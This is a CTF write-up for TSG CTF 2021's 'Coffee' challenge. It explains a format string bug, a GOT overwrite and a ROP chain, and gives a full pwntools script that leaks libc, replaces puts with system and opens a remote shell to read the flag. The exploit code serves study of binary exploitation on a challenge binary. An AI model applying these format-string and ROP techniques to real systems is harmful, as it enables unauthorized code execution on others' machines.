# Coffee (TSG CTF 2021 Writeup) ## Overview of the challenge The program is really simple! ```c= #include <stdio.h> int x = 0xc0ffee; int main(void) { char buf[160]; scanf("%159s", buf); if (x == 0xc0ffee) { printf(buf); x = 0; } puts("bye"); } ``` 1. reads a string (<= 159) 2. if x == 0xc0ffee, then prints the buffer **and substitute 0 for x.** 3. finally puts "bye" Don't forget checking the `checksec`! ``` $ checksec --file=coffee Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` NO PIE and Partial RELRO! ## How to Pwn The bug is trivial. There is a format string bug at `printf(buf)`. The main issue of this challenge is that it seems you cannot do FSB attack twice since the if-condition will no longer hold after you used `printf(buf)` once. So, in some way, we want to 1. leak the libc address 2. replace an entry in GOT with `system` or some one gadeget RCE My strategy to get shell is as follows. In the first FSB payload, my poc will 1. overwrite puts_got -> pop6;ret 2. leak libc_addr from scanf_got 3. send rop gadget to overwrite GOT table again During the ROP gadget, we do `scanf("%s", puts_got)`. Then we overwrite the GOT entry of `puts` by `system` address. Note that at this time we have already leaked the libc address and therefore can calculate the system address. ## PoC ```python= from __future__ import division, print_function import random from pwn import * import time import sys context.log_level = 'error' host = sys.argv[1] port = int(sys.argv[2]) is_gaibu = True log = False def wait_for_attach(): if not is_gaibu: print('attach?') raw_input() def just_u64(x): return u64(x.ljust(8, b'\x00')) r = remote(host, port) def recvuntil(x, verbose=True): s = r.recvuntil(x) if log and verbose: print(s) return s.strip(x) def recv(n, verbose=True): s = r.recv(n) if log and verbose: print(s) return s def recvline(verbose=True): s = r.recvline() if log and verbose: print(s) return s.strip(b'\n') def sendline(s, verbose=True): if log and verbose: pass #print(s) r.sendline(s) def send(s, verbose=True): if log and verbose: print(s, end='') r.send(s) def interactive(): r.interactive() #################################### def menu(choice): recvuntil(b':') sendline(str(choice)) # receive and send def rs(s, new_line=True, r=b':'): recvuntil(r) s = str(s) if new_line: sendline(s) else: send(s) binary_path = "coffee" percent_s = 0x403004 puts_got = 0x404018 scanf_got = 0x404030 binsh_addr = puts_got + 9 pop_rdi = 0x0000000000401293 pop_rsi_r15 = 0x0000000000401291 scanf_plt = 0x4010a0 puts_plt = 0x401070 ret = 0x000000000040101a ''' 0x0040128b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) ''' target = 0x0040128b rop_payload = [ pop_rdi, percent_s, pop_rsi_r15, puts_got, puts_got, ret, scanf_plt, # system_addr; "/bin/sh" pop_rdi, binsh_addr, ret, puts_plt ] head = b''.join(map(p64, rop_payload)) def exec_fmt(payload): p = process(binary_path) p.sendline(b'A' * len(head) + payload) return p.recvall() # 1. overwrite puts_got -> pop6;ret # 2. leak libc_addr from scanf_got # 3. send rop gadget payload = b'%4747c%21$lln%181c%22$hhnz%23$sx' + head + b'\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00' + p64(scanf_got) ''' context.binary = binary_path autofmt = FmtStr(exec_fmt) payload = fmtstr_payload(autofmt.offset, {puts_got: target}, write_size="short") # b'%4747c%15$lln%181c%16$hhnaaaabaa\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00' print(payload) ''' sendline(payload) # leak libc recvuntil(b"z") s = recvuntil(b"x") libc_base = just_u64(s) - 0x66230 print("libc_base: ", hex(libc_base)) system_addr = 0x55410 + libc_base wait_for_attach() sendline(p64(system_addr) + b"\x00/bin/sh\x00") recv(4096) sendline("cat flag-dcf095f41e7bf00fa7e7cf7ef2ce9083; echo") s = recvline() print(s) if b'TSGCTF' in s: sys.exit(0) else: sys.exit(1) ```